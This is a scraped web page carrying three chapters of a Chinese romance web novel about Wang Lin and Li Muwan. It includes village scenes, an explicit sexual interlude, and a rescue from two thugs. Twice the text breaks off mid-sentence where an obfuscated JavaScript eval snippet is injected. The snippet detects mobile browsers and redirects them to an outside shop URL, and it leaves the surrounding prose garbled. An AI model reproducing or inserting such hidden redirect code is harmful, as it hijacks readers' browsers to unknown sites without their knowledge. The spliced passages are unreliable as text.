“额,对,祖上在京城开诊所行医,到了我父亲这辈,便只是经营药材了,故而对药材识得几样。” 几人闲聊起来,王浩问了王林近况,王林话少,不主动找话题,都是人家问一句,他答一句。 “铁柱哥,外面下雨了吗?”王浩注意到他肩头湿的一块,不经意问,“怎的你衣裳湿了?” 灰褐色的粗布湿了一块并不明显,但也能看得出来。 刚拿了医书回来的李慕婉听见谈话,注意力放在王林身上,果真,这才看见湿了一块。 王林似乎有所察觉,漫不经心说:“无碍。” 拿好了医书,李慕婉主动请辞,“多谢堂婶,这书婉儿看完后定会原样归还。” “不打紧,这书他爹都要积灰了,你慢慢看,有空常来坐坐。” 待送走二人,王浩忙不迭追问,“娘,你看如何?” 见着儿子的笑容,堂婶自是满意的,只是有所迟疑,又上下扫了几眼自己儿子,“倒是个懂事的,做媳妇嘛自是不错,只是......” 王浩急了,“只是什么?” “人能不能看上你呢?”堂婶望着稻田里朦胧的两道影子,深深说,“这两人这么一瞧,还怪般配的,人铁柱可比你优秀多了啊,又同住屋檐下的,近水楼台,你说说你的优势在哪里?” 王浩被母亲这么一说,泄气了,稍后又想起一事,振作起来。 “那可不一定,我周二娘不是给铁柱哥张罗说亲么,那就说明他们对婉儿没有这心思。”这话他是从花影那听来的。 “日久生情也不是没有,你常去他们家走走,在婉儿姑娘面前多晃悠,不然人家哪能看见你?” “娘说的是。” “哎呀,”堂婶一拍脑门,“忘了要事,你二娘腿脚一到雨天便发疼,待会你盛些药酒送过去。” 王浩点头应下,正好又能借机与李慕婉说会话,心里盘算着,拿了药酒就往外跑。回去路上,李慕婉抱着几本医书,路本就不大好走,王林长腿迈出的步子大许多,她跟得吃力,身后好久没听见动静。 他这才回头,看着田埂上摇摇欲坠的李慕婉,忽而抓过她手臂替她稳住重心,利落接过他怀里的书,才将那把收起的伞递给她。 日光冲破云层,洒落大地,田间隐隐一道彩虹悬挂,李慕婉清目捕捉到一抹七彩光线,声音雀跃拉着王林胳膊。 “义兄快看,那是霓虹。” 王林沿着她手指的方向,彩虹落在绿意盎然的稻田上,忽隐忽现,日光打着他轮廓柔和了几许。 “嗯。” “哥哥曾说,若是雨后见了霓虹,可以许愿。”李慕婉道,心里暗暗许下愿望,希望哥哥此时无恙,兄妹早日团聚。 王林思绪拉远,不动声色,他从不信这些。 回到竹林小院,院子铺的落叶扫净了,李慕婉接过王林手里的医书,道了声谢,将那些医书放回房内。 又从药草里翻出些艾叶,从前见过父亲给人熏艾治风湿的,典籍里也有记载,她凭着记忆理了一遍,总归不会出错的。 堂屋里周英素依旧忙活着女工,王天水坐了大半日,休憩间抽着烟袋,李慕婉唤了二人,坐到周英素身侧。 “婉儿回来了,书借到了?”周英素看着她手里满满当当的东西,“这些是?” 李慕婉将手中的药物放到长木桌上,“义兄说周婶的腿有风湿,父亲从前也帮人治过风湿,这熏艾的方法疗效可见,婉儿是第一次替人熏艾,手生,虽说古籍记载里都没有根治风湿的方法,但是发病时能得以缓轻症状,也是好的。” 周英素明显带着些无措,“这都是老毛病了,还要劳烦你挂心,熬过了雨天就好。” “那可不成,越是放任不管,经年久月的症状也会更深,周婶不顾自己身子,也要叫义兄放心不是。”李慕婉贴心道,手里动起来,已经点着艾团。 “孩她娘,婉儿说得对,你就让她试试。”王天水也道。 周英素拗不过,只能随着她,艾叶熏到皮肉上,温热传入关节里,原本阵阵抽痛有了缓解。 “铁柱哥。”王浩声音散在前院,王林刚进厢房准备温书,从檐下见着人影。 “王浩?什么事。”王林迈出步子去开门。 “我娘让我给二娘送药酒过来,适才忘记让你带回来,我就跑一趟,”王浩眼睛在院里瞟,落在东厢房里,“婉儿姑娘可在?” “堂婶费心了,”王林察觉出他的小心思,“都在堂屋呢。” “进来吧。” 王浩理了理衣襟这才满意跟着进去。 李慕婉熏完艾接着给周英素按腿,“周婶,可有觉着好些了?” 周英素眉心舒展,王天水在一旁笑容未从脸上消散过,王浩刚一进来看着场面俨然像极了一家三口,李慕婉发丝垂在轮廓里,与周英素谈话时温婉气质难掩,他近乎看呆了。 就连王林,瞧见她如此贴心照顾母亲,心口一股暖意横流,眉眼的柔情一晃而逝,冷淡的声音打破这片宁静:“爹,娘,王浩来了。” 李慕婉抬头,两道少年身影压过,她直起腰将耳鬓碎发捋到耳后,朝王浩微微颔首行礼。 王浩心里雀跃,肉眼可见的慌张,说话时也是断断续续,眼神一直在李慕婉身上,“二伯,二娘,婉儿姑娘。” 王天水闲谈,“王浩啊,坐吧。你爹近日都忙啥呢?” 李慕婉很是勤快,给王浩看茶,王浩道谢后接过,回着话:“最近镇子孙员外家订了批绿植,我爹忙着给人挑好的送去呢。” “我是来给二娘送药酒的,这不昨日下过雨,我娘惦记着这事,便让我来送了。” 周英素接过,“有心了,婉儿方才也给我这腿熏了艾,确实好了些。” “婉儿姑娘心细又体贴入微,是个好女子。”王浩直言不讳,丝毫不吝啬夸赞。 李慕婉说:“这是婉儿该做的,药酒性烈,方才熏了艾,不能急着用,待睡前婉儿再给周婶用吧。” 王林凌厉的眉眼泛起柔色,心底满是感激却未表露。 王浩心里暗暗揣测李慕婉的话,该做的?她不过是借住的客人,照顾周英素应该是王林这个儿子该做的事,她既不是儿媳也不是女儿,怎会是该做的?莫不是跟王林已经定情? 思及此,王浩面色转青,耷拉着头,王林注意到他情绪变动,问:“王浩,怎么了?” “哦,无事,我得回去了,二伯二娘,婉儿姑娘,我改日再来。”王浩朝他使眼色,王林跟着出去。 “你有事?”王林打量着他,前院内王浩视线一直注意着小院,与先前来王家不过一月之久,竟然有如此大的变化,原本萧瑟的院子有了绿植花卉点缀,加之坐落竹林,一处世外桃源之感,屋顶茅草上也放了几个竹筛,上面晾着草药。 王浩看了几眼堂屋,确认无人才压低声音说:“铁柱哥,你跟婉儿姑娘可是?” “可是什么?” “你们可有……可有……”王浩说不出口,可又急死了,“哎呀,就是,就是婉儿姑娘她对你可有那种意思?” 王林明白他的用意,深邃的五官透过一层凉意,果决说:“没有。” “那你呢?你对她?” “自是没有,等她兄长回信后,她就会走,不会久住,你到底要说什么?”王林已经不耐。 “那就好。”王浩终于松了口气,想是在打着别的意图,“无事了铁柱哥,你去温书吧,不必送。” 王浩走了许久,王林便站在院中一直站着,微风里混着花香和药草的味道,虽日光重现,可雨后竹林还有残留的雨点,风一吹,落在额心,随着这触感,他拉回神。 李慕婉从堂屋出来,见他站了好一会儿,还以为他是因周英素的腿伤神,便上前宽慰:“义兄。” “义兄无需太过伤神,婉儿定会找到能治周婶腿疾的方法,即便不能根治,缓轻症状她也能少受些苦,义兄当务之急应是全力温书以备来年考试,至于周婶和王叔,就交由婉儿照顾吧。”李慕婉拍拍胸脯,像极了家里小妹揽过重任的架势。 王林定了须臾,“多谢,明日市集娘说你要去镇上,到时候你可去木雕铺问问信。” “嗯。”李慕婉点头,“义兄可有什么要婉儿带的?” 王林摇摇头回了屋子温书。 **************** 莲花池里的花浮在水面,几只仙鹤划过空寂,法阵里窥视镜漫出光束,李慕婉与王林坐于湖心亭下棋,大多时间是李慕婉在此处抚琴,昨夜那场混战在她身上留下不少痕迹,深浅不一,有些看着是新的。 王林似乎意不在棋,双眸直直盯在李慕婉细长的脖颈上,莲花扣往下的锁骨处,若隐若现的齿痕。李慕婉察觉对面目光炽热,宛若那几夜里吞噬她时的狂热。 棋局胜负分明,李慕婉的白子落了下风,她两指捏着白子,正思虑该落何处,感受到这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13723023|144902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 股目光时,又看自己连连被包围的棋子,难免不警惕道:“师兄占尽上风,婉儿每一步棋,都仿若能精准猜测一般,你莫不是……” 王林歪头打量着她那点小心思,李慕婉说:“莫不是用神识探索我的想法?” “有必要吗?”王林牵起笑,满眼宠溺,“我把你看透了。”无需神识,她眸子一转,王林便能猜中她所想。 李慕婉狐疑,溜溜转着眸子,“是吗?” “那不是。”王林撑起身,胸膛压过棋盘落在她跟前,李慕婉被逼得后仰,却被他大掌扣上腰后,他气息萦在耳侧,“婉儿觉着我没看透?” 李慕婉这才察觉,他所说的看透并非棋局,“师兄,该你落子了……” “我认输了,”结实的胸膛下压,抵住两峰柔软,“婉儿觉着我没看透,那再让我看看,可好?” 李慕婉后撑的手微颤,“师兄要看什么?” 王林又上前一些,另一只手落在她下颚,缓缓往下,停在她锁骨,摩挲良久,指节滑过薄肩,似赏着一道清月,纱衣滑落时露出抹白皙的春光,在那抹白上,几处红痕格外刺目。 李慕婉脖颈微仰,被挑拨得满面红光,娇柔的声音轻颤,“师兄。” 王林目光锁在痕迹里,都是他留下的,只要他稍一动用灵力,那些伤痕都会消散,可是他不想去掉,仿若只有这样才觉得李慕婉是完完整整属于自己,也只有这样,那三千年里的情愫有了落脚。 “你是我的,婉儿……”王林咬住肩头,“是我王林的,我要你,要你只属于我……” 李慕婉无所适从,只能任由他侵略,软指拂过他清朗的轮廓,像是在安抚焦躁不安的狼崽,“师兄,婉儿在。” 狂热逐渐占据整个身躯,这几日,自从二人有过肌/肤之亲后,王林便没了以往的矜持自控,日日都缠着她讨要,他那古神之力凝聚重组的身躯比常人刚硬,又更具耐力,他倒是不觉得累,可李慕婉只觉身子要散架了。 李慕婉推了推他,中断他的欲/望,说:“师兄,婉儿曾在典籍上看过,消耗过大灵力之后,不能纵/欲,不若,不若会有损阳气,婉儿担心……” “嗯?”王林剑眉微挑,一副状若不明的样子,“纵/欲?何为纵/欲?典籍上可有细说?” 李慕婉思虑片刻,见他问得诚恳,便耐心说:“师兄这几日,几乎每日,每日都要几次,这便算是纵欲……” “典籍上说的?几次是几次?那该多久一次才不算纵/欲?”他气息越来越近,李慕婉恍惚看见一股挑逗的坏笑,却又没了。 见她不应,王林又说,“婉儿是不想,还是担心夫君损了阳气?” “自,自是担忧夫君。” 王林理所当然道:“无碍,我妻丹道卓绝,你若担心阳气有损,便为我炼一些固本培元的丹药,如此你也能心安。” 他竟然,竟然……李慕婉恼极了又无处发泄, 奈何她百般婉转,王林都不如她意。 典籍上没说详细要几次才不算纵/欲,他又直言不怕损阳气,李慕婉更是红透了,难以启齿,“婉儿比不得师兄,实在是受不住了。” “可是疼了?”王林柔声问,怜惜着。 “疼,”李慕婉抓过一丝希冀,应着他,想让他能怜惜些放了她,便撒娇说,“夫君,婉儿疼……” 她这般可人,他哪里能忍得住,“那为夫轻一些……” “夫君,让婉儿歇一歇,可好?”李慕婉抵住他心口,可怜兮兮求着他。 “明日再歇,可好?”王林点缀着她面颊,案几上的棋盘散落,棋子叮铃当啷滚落在地。李慕婉受不住勾着他脖颈,埋入颈侧,只觉身上被狼崽舔舐得干净,泪眼模糊后躺在他臂弯休憩,抚过眉心的古神印记。 忽得李慕婉记忆中又好似多了些不属于自己的画面,恍惚中整个身躯被王林举起,他翻动着,李慕婉轻盈落在他腰腹上。 “婉儿,让我看清你。”他声音沉哑,干涩,颤栗,似痛苦又似满足。 李慕婉望着他额间的古神星点,沿着星点轻触着,一股记忆再次涌入…… 生机! 生机! 一道光幕后模糊的身影被死气笼罩,空灵的身音幽幽传来,诡异的光束围绕王林身侧,只听深案处声音传出,李慕婉看不清。 “若要老夫施展七夕之术,我要你一半生机来换……” 要七夕之术,抽取他生机换李慕婉复活,王林毫不犹豫答应了,只要有一丝一毫的可能,他都愿意一试,只要能让他的婉儿苏醒,做什么他都无怨无悔。 只是那记忆并不全,残缺零碎,或者说她能感受到的记忆,只是那一丝丝的伤痛,王林拼尽全力也无法复活自己的伤痛,也仅仅是那么一丝,就让自己心口撕裂一般,那他又该是如何挺过来…… 伏在膛前的人面露伤色,眉心是道不尽的疼惜,王林望着李慕婉神色,担忧握过她指尖,轻放在唇瓣,“婉儿,怎么了?” “师兄,你好傻……”李慕婉星眸里清流滚落,“让婉儿轮回去吧,不要……不要执着了。” 王林瞬息间神识一扫,面露懊恼与自责,“婉儿,那不是你的记忆,不要想,不要想。” “师兄……婉儿要你好好活着,”李慕婉仿若跌在幻境里,与那个执着疯魔的王林对话,“不要再为了我而赴命了。” “婉儿,我不愿放手,也不要放手,你是我王林活着的唯一执念,婉儿,不要想,这不是你该承受的,答应我好不好?不要去想。”王林指尖掐决,意图要抹掉那些她正要复苏的记忆,他不知为何,原本沉睡的李慕婉不应该会有这些记忆的。 李慕婉似乎知道他要做什么,打断他,“王林,不要抹掉我的记忆,不要抹掉我的记忆……” 王林收决,把李慕婉禁锢在怀中,紧紧抚着她,窥视镜内已万象更迭。 8. 解围 东边天际刚泛白,李慕婉就收拾好行装,将那些晾晒好的药草装入背篓里,还有无需晾晒的草药能卖的一并带了去。 花影早在村口等了多时,李慕婉跟着她将这些日子采的药换了十两银子,她采的这些药,药用价值高,品质上乘,其中天麻山参便占了主要银两。 回到王家村时已是酉时,回的路上又摘了些花草放入背篓里,日落西山,李慕婉踏着余晖漫步回竹林小院。 入夜时,周英素做好了饭,李慕婉未动筷,从那身麻布衣的袖带里拿出一方帕巾,递到周英素跟前。 “周婶,今日药草换了些银两,这是婉儿这个月交的家用,多谢你们这段时日对婉儿的照顾。” 周英素哪里能要她的银子,忙塞回去:“说这些话做什么,自打你来了帮家里不少活,不过是住的地方,那房子空置着也是空的,你平日还陪我们两个老人谈心,又替我治腿疾,说回来,是我们家的福气才是,又怎能要你每月上交银子补贴家用。” 李慕婉坚持,这银子她是一定要给的,“周婶,您若是不收,婉儿可就不敢再继续住了,您就收了吧。” 王天水点点头,周英素想从里边拿一些意思意思,摊开时却看足足五两银子,不由心念道:“这?怎的给这么多?你是不是......” “周婶别担心,婉儿有给自己留,这些钱您攒着给义兄来年上京考试再用,也算是婉儿的一片心意。” 周英素望了望一直没做声的王林,沉息一声,收下了。 “你兄长可有音信回来?”一直未说话的王林开口问。 李慕婉今日去了木雕铺子,没有打听到消息,就连回信也没有,倒是知道了燕州那边的事,回的时候本就情绪低落,却不想王家人担心,这才没有说,将心底都失落和担心全部藏起来,若是燕州战情紧急,其实没有消息,也算是好消息。 倘若兄长回了京城,那么京城那边应该会比燕州早些收到信,可都没有,那么兄长就一定还在燕州。 确定了这点,李慕婉便放下心,不再杞人忧天。 “还没有。”李慕婉沉思说,“我想再写封信继续寄出去,还得借用义兄的笔墨。” “嗯。” 吃过晚饭,李慕婉到后院沐浴完又在东厢房收拾了屋子,因沐浴打湿的墨发,索性散下擦干了,用一根素白的发带半绑着长发,披在背后,那发带是先前做衣裳时多的料子,她绣了几朵红梅,点缀素色。 今日这镇子上逛了一间文房四宝店,看中一支狼毫,笔杆手感极佳,毛锋弹性上等,写出的字迹光滑而匀称,她本想给自己置办笔墨的,只是她那屋子摆放不下一方书案,往后恐怕还要收拾一隅堆放药材。 但是这支笔甚是得她心意,花影还笑她舞文弄墨,她也只是笑笑不说话,花了二两银子买下,可把花影心疼坏了,二两银子,她得挖几天药材才能赚回来,还是运气好的时候能遇上上等药材。 李慕婉倒不觉得有什么,只要是花在对的地方,贵一些也值得。 王林西厢房支起窗,晚风徐徐而入,拨弄着少年的额发,油灯摇曳,一束斑影掠过窗前,门口响起声音。 李慕婉敲门静静等候,未过多时,王林清润的嗓音响起:“门未锁。” 他已经习惯这个时辰李慕婉过来借灯看书了。那本《资治通鉴》还了他,她捧着医书自顾寻了位置坐下,余光扫着王林的身影,手里似乎还拿了长木匣子,欲掏不掏的,有些踟蹰。 她还没翻阅,静置了良久,还是决定拿出来。 王林的光线被遮住一半,他抬眸查看,却见李慕婉身影渡近,他防备质问:“何事?” 而后又想起她饭席时说要借用笔墨,这才收敛戾色,“笔墨都在这了,纸在书架后,你自便就是。” 李慕婉低低应声,木匣子放到桌面,还未交出去,她备好了纸币,有些犹豫,小心翼翼试探地问:“义兄可知燕州兵变的消息?” 王林深眸微沉,他知道,李慕婉这么问了,想必今日也是从镇子上听了消息,这才与他探话。 “嗯。”他视线未动,一行一行的字滑过眼前,“燕州藩王不满朝廷削藩分权,欲起兵反抗,朝廷下旨让燕州临近的州郡守备前往,目前是小规模的战役,两方都在试探,若藩王让步,朝廷再收回指令,藩王想要的权利还能有所保留,倘若一味抗争,朝廷也不得不下力镇压,若能不动兵力就能削权,能免去战争,自是最好。” “可若是燕州的藩王不愿意,举全部兵力抵抗,朝廷怕是一时半会也难以拿下燕王的人头,到时候城内不知多少百姓流离失所,”李慕婉愁伤,“难保长乐县不会殃及。” “你也不必太过担心,近几年赵国旱涝穷起,国库不可能充盈,燕王自知兵力不足,定然不会死命相抗,最后两败俱伤,于谁都没有好处。”王林分析局势,李慕婉盯着他看到神情有些不可思议。 他久居这山林间,不曾接触朝堂,也能知晓赵国如今局势,而自己知道是因为在京城时入百松书院听得的,加之李奇庆也与宗亲世家公子来往密切,对这些局势自然要更了解。 “义兄说得是。” 李慕婉落笔,密密麻麻写了两张纸,信上都是关切的话语,还告知自己状况,让李奇庆无需担忧,还谈及王家人的好。 这一次她便只写了一封,京城那无需再寄了。 待信纸干透,李慕婉收好,将那支狼毫笔的木匣移到王林跟前。 王林看了看,语气平常:“这是何物?” 李慕婉细指轻开,一支锃亮的笔杆率先入眼,她温声说:“这些日子多谢义兄让婉儿在这看书,还从歹人手下救了我,婉儿无以为报,今日在街上不经意看到的,就想着给义兄书案添几分墨宝,虽不是什么贵重之物,也是婉儿的心意,还望义兄不要嫌弃。” 王林拿起木匣,未动那支笔,就这么审视着,肉眼可见这狼毫的质量,绝非像她说的并非贵重之物。 “你......”想要拒绝的话到了嘴边,看着李慕婉期待的神色,又不忍,“多谢。” 见王林手下,李慕婉唇角漾起笑,“我给义兄点一支提神香吧。” 王林望着笔若有所思,收了她的礼,是否要还点什么? 又想起昨日王浩问的话,看王浩的表现,对李慕婉过于热情了些。 王林收了狼毫笔,想了几日没有头绪,那支笔他也没用,而是放置旁人触不到的书柜里。 *** 谢三婶来竹林小院跑了几次,给周英素送来几张画卷,周英素放到寝屋,想要李慕婉帮忙看看,一直也没找到开口的机会,这几日她都往常上山寻药,花影歇了些日子,她便自己去了。 山里的路她渐渐熟悉,只要不走太远,天黑前下山没有问题。 周英素做好饭,李慕婉还未归家,天色已然暗了,昏昏沉沉的光线即将被夜幕驱散殆尽。 “铁柱啊,”周英素把王林叫出来,吩咐道,“这天已经暗了,婉儿还没回来,你去村口迎迎她。” 王林不想去,在母亲面前少有的稚气,“她有腿,娘你别总操心她。” “娘是怕她跟上次一样在山里迷路了,往日她回的都挺早的,也没让人担心过,你这孩子。” 王天水也说,“去看看吧,这批木雕快完成了,先前答应给这孩子刻的像,我明日也给她雕好,婉儿姑娘这孩子是个孝顺懂事的,村里人都夸呢,铁柱你对人家也别太冷脸。” “知道了爹,”王林说,“对了爹,我这几日书看得多了,正想空空脑子,她那个雕像,铁柱替您刻吧,也有段时日没碰刻刀,不若手生了。” “好好好。” 正好,就用这雕像回她那支笔的礼。 李慕婉刚到村口,便听见几声嬉笑,笑声刺耳,海棠树下两个年纪相仿的少年,看着还要大她三四岁,一副浪荡轻佻样,口中时不时吹着哨,挑眉淫/晦盯着路过的李慕婉,李慕婉不想惹事,脚步加急,况且她在王家村没见过这二人。 可奈何她步子越急,那两人却撵上去,挡住去路,放浪形骸,混道:“你就是李慕婉?” 李慕婉诧异,神色警惕,“你们是谁?” 此二人是隔壁花溪村的许浩,葛阳,在村里是出了名的混混头子,整日不务正事,干些鸡鸣狗盗之事,在王家村也有所耳闻,定是听闻了李慕婉的传言,又多番打听做了准备,这才来村口堵人的。 “想知道哥哥们叫什么,那你倒是先说句好听的哄哄我们哥俩阿?”许浩逼近两步,似乎闻到她身上那股清香,闭眼感受着,别提多猥琐。 李慕婉后退几步,厌恶道,“你干什么?” “不干什么阿,”葛阳从后头拦着她退路,让人骑虎难下,“认识认识嘛,怎么,这么急着回家啊?你又不是王家村的,急着回去做什么?” “不如陪哥哥去镇上喝两杯,哥哥带你去坐画舫,如何?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13723024|144902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“滚开。”李慕婉气急,小脸恶狠狠瞪着二人,“不然我喊人了。” “喊人?这天都黑了,什么人还来救你啊。”许浩说着就要伸手去碰她脸蛋。 李慕婉躲开了,打掉他要过来的手 她越是如此,这二人兴致越高,笑声越发刺耳。 “你若敢动手,我义兄不会放过你们的。”李慕婉怕二人狗急跳墙,只能这么说。 “哦豁,义兄?”葛阳声音嘲弄,“你说那王林啊,整日一副清高的架势,搞得自己真能考上功名一样,小爷喜欢你,看上了,哥俩碰就碰,他能耐我们何?” 说着身躯欲又压近,李慕婉身躯抵着树枝,没有路了,若是跑,恐怕没几步就被抓回来。 “我义兄才华斐然,乃是正人君子,岂是你二人鼠辈能言语奚落的,”她虽害怕,却不愿他人辱骂王林,鼓着勇气,气势不输。 “给脸不要脸。”葛阳被激怒,抬手就想抓她手臂。 李慕婉正欲反抗,黑暗里葛阳手臂吃痛,骤然收回,不知受了何物攻击,还未来得及反应,双脚又是重击。 李慕婉只见适才嚣张跋扈的人直直在跟前跪下,吃痛闷哼着,许浩大喊:“谁?” “别装神弄鬼的。” 海棠树影下少年颀长的身影在星辉中隐隐现出,他声音森然,浩然的气势压迫着二人,“王林。” 是熟悉的声音,李慕婉惊喜中唤道:“义兄。” “许浩,葛阳,”王林左手扭着右腕,一副要教训二人的架势,“你二人来王家村做什么?” “王,王,王林......”葛阳想起身,却不知道为何双腿发麻,压根动弹不得。 “过来。”王林冲着李慕婉说,李慕婉嫌弃撇了一眼跪在地上的人,往王林方向挪,待拉开距离,确认二人不敢有所动作,才加快步子,躲到他身后。 “义兄,他这是?” 许浩还记得几年前被王林揍的那一顿,他二人来王家村玩,却仗着年长几岁,就将王浩几人给打了,王林自小多是独影独行,显少结伴,人家在玩闹,他捧着本书就在树上看,累了便回家。 见着几人被欺负,他挺身而出,把这二人揍得不轻,自此葛阳许浩便很少来王家村玩,即便来了也不敢再欺负王浩。 “点了他的穴,半个时辰内,他腿动不了。”王林微侧头回李慕婉。 许浩站在那,不知如何是好,打?他打不过。 “你,你,”许浩结结巴巴说,“我们可没碰她,不过是逗逗她而已,你想做什么?” “滚,”王林冷冷道,“若再有下次,胆敢来王家村欺人,就不是半个时辰动不了的事了。” 他那话不像是假的,许浩连忙搀着葛阳踉踉跄跄走了。 二人走后,王林才转过身子,上下扫了一眼,问:“他们可有伤你哪了?” 李慕婉心有余悸,若是他没来,她不知能否逃过二人的魔爪,松气说,“没有,义兄来的及时,没有伤到婉儿。” “多谢义兄。” 王林确认她没事,主动取下她的背篓,挂在自己肩上。 “怎么今日这么晚回。”王林少有主动关心她。 李慕婉没留意那么多,还有些后怕,又不想他担心,岔开话题,“义兄方才是用石子打的那人?” 这是她的猜测。 “嗯。” 李慕婉心中困惑,打从被他救下时就见过他的身手,只是他一届书生,家中又无习武之人,怎么还会这一身武艺,“师兄的武艺,不是王叔教的,可是从前拜过师门?” “学过一些。”李慕婉看着他神情,还是不大愿意提及。 “义兄果然厉害。”她也不知方才维护他的话,王林有没有听见。 “义兄认识那二人,我在王家村没有见过他们啊。” “这二人是花溪村的小混混,你没见过很正常,”王林说,“若他们是有备而来,定不会善罢甘休,往后村里无人上山,你自个儿不要去。” 王林见她点头,这才有所放心,她这样貌确实少有,葛阳许浩二人混账,今日见了她,定然不会就此甘休,指不定还会另寻他法来寻麻烦。 星辉照着归家人,李慕婉立在院前,没进去。 王林在身后不明所以,敛眸问:“为何不进?” 李慕婉捋整齐发丝,又扯平衣袖,拍了拍身上的衣裳,转头问王林:“义兄,婉儿这么看可有异样?” 9. 抓鸡(谁忘了这章) 王林瞳孔微张,定了些时,院前的灯笼摇摇晃晃,散着微光,细腻如白玉的肌肤冒了层薄汗,红唇微抿,流畅的肩颈线条衬着她体态极好,素衣麻布难掩清冷脱俗的气质。 “做什么?”他鬼使神差问,并不知道李慕婉的意思。 “今日葛阳许浩二人的事,义兄能不能不要告诉王叔和周婶,我怕他们担心。”李慕婉解释道,原来方才她那样是怕爹娘看出狼狈,才这么问的。 王林微握的拳头稍松,“知道了,进去吧,爹娘该等久了。” 果然周英素问了几次因何晚回,李慕婉不会说谎,王林替她解围,只说是半道碰见王浩,拉着她多聊了几句,李慕婉发丝里藏着的耳根涨红,生怕谎言戳破了,话都不敢搭,频繁点头。 王林见她这样很是好笑,没成想她也有怕的,像极了做错事被长辈发现的模样。 二老自然是信儿子的话,王林脸不红心不跳,从容不迫,给二老夹菜,没再往下说。 正在家里纳凉的王浩倏然喷嚏连连,他娘从屋里唠叨着:“立春刚过没多久,浩啊,还是得多穿些。” 鸡鸣四更起,李慕婉睡梦中听得两声,转了个身,又继续入睡,清晨,竹叶上滚落露珠,淹入茅草里,朝气里蕴着寒凉,雾气还未散完,晨阳已入窗,王林已经温书半个时辰。 期间望向窗外时,无意间瞟了对面的东厢房,见窗子未动,便知李慕婉还未起。 周英素一早煮了点苞谷和红薯温在锅里,同王天水去了镇子送木雕。 这几日村里没人上山采药,李慕婉记着王林的话,今日没打算上山,计划晨时起后将那些草药拿去晾晒,上半日在房里看看医书,下半日去谢三婶家找花影,女儿家在一块,女工脂粉,侍弄花草总能聊到一块儿。 不上山她便没梳发髻,只是简单挽了发,李慕婉刚出房门,后院的鸡一跃,飞到前院,她站在檐下一动不动,打小就被邻居家的鸡啄过,害怕尖嘴动物,立在那时宛若一尊雕像。 眼见那鸡往自己这边来,李慕婉收回神,撒腿就藏进屋里,门掩得严严实实,这一动静惊扰了西厢房温书的王林,王林抬眸观察外边的动静,李慕婉的屋子仍是掩着,王林心里闪过一丝疑虑,这个时辰李慕婉该是起了,素日也不见她起得晚。 那只鸡就绕在东厢房门口,索性不走了,李慕婉撑起窗观察它的动向,咯咯声不停,她心里害怕,又不知如何是好。 骤然间扫过一缕想法,不得不要麻烦他了,她把视线落在西厢房,支起的半扇窗能看见王林半个身子,他垂首专注,额间系了跟深蓝色额带,与今日那身玄色麻衣相衬,挺拔的身躯如青松笔直,隔着布衣也能看出胸膛的结实。 李慕婉红唇轻启:“义兄。” 声音并不大,王林没听见,李慕婉清了清嗓音,隔空再唤一次:“义兄!” 对面的王林有所察觉,抬头望过来,对上视线后,李慕婉嫣然一笑朝他招手。 王林若有似无点头回礼,以为她只是打招呼,又垂下头去,李慕婉没看出他点头的幅度,猜测他是不是责怪自己打扰了他。 失落藏在五官里,门外那只鸡没有要动的意思,最终她还是鼓起勇气,“义兄,帮帮忙。” 王林再次抬头,这次捕捉到她的慌乱,起身靠近窗把剩下半扇一块支起,“何事?” “义兄能否把这只鸡抓回圈子,它守在这,婉儿不敢出去。”李慕婉委屈道。 王林微皱眉,一只鸡而已,也能难住她了。 虽心有不愿,她既开了口,王林也不好说什么,走到她屋前,抓了那只鸡丢回鸡圈,又喂了些苞谷。 李慕婉这才悻悻出房门,跟着王林身后小心像是要告状:“这鸡会啄人。” “它啄你了?”王林下意识问。 “那倒没有,”李慕婉避开视线,“婉儿小时候被啄过,从小便害怕。” “早饭在锅里。”王林没在意她这点小心事。 “周婶和王叔已经去了镇上是吗?” “嗯。” “那义兄可用了早膳?” “还没。” “那一块用吧,可好?” “嗯,我去拿。”王林转身走向厨房。 李慕婉闻言小跑去堂屋收拾长木桌,等王林将吃食端上来,平日早饭也是吃的小菜杂粮。 “义兄是不是等婉儿起,所以才一直未吃早饭?”李慕婉问题总是很多,知道王林不爱说话,她便多说一些,每次他也会应一下,即便不说话也会点头。 李慕婉性子好,一个冷一个热,正好契合,若是换作旁人,估计也不会那么有耐心对王林。 “昨夜睡晚了些,今日不上山,是以想多睡一会儿,若是知道义兄等着婉儿,我就不嗜睡了。” “无碍。”王林掰下一半红薯,“本也不是特意等的。” “给。”李慕婉不放心上,将手里剥了皮的一半红薯递过去,王林盯着红薯,又看看李慕婉,见她没有收回的意思,放下手里的去接她递来的。 李慕婉将他碗里的红薯都剥干净了皮,放回去,自己才吃。 王林虽没说什么,可她细腻的一举一动都落在眼底,再一次次悄无声息地成了烙印,只是谁都不曾察觉。 用完膳,李慕婉主动揽过洗碗的活,王林没回西厢房温书,而是拿了两条绷带,沿着手臂缠到掌心,露出长指,又再拿了刻刀和木段,凭着记忆雕刻起来。 李慕婉洗了碗后就一直在院里忙,落叶扫干净,又将那些草药放到竹筛铺好,送去房顶晾晒。 做完这些,才有时间打理花草,院墙那排种的海棠花又长许多,海棠花树下,王天水堆了些土给她种草,红绿相间,品类都是王浩家进的,如今竹林小院更像是个花棚下的茅草屋,招来不少鸟儿,啼叫声悠悠荡在院外。 王林在这鸟语花香里静静刻着木段,李慕婉则在房里看医书,常用的药草和功效都记在脑子里,也有很多她还未触及过的草药,每种草药之间的药性如何相容才能相得益彰,又有哪些药性是相克,门道颇深,学海无涯。 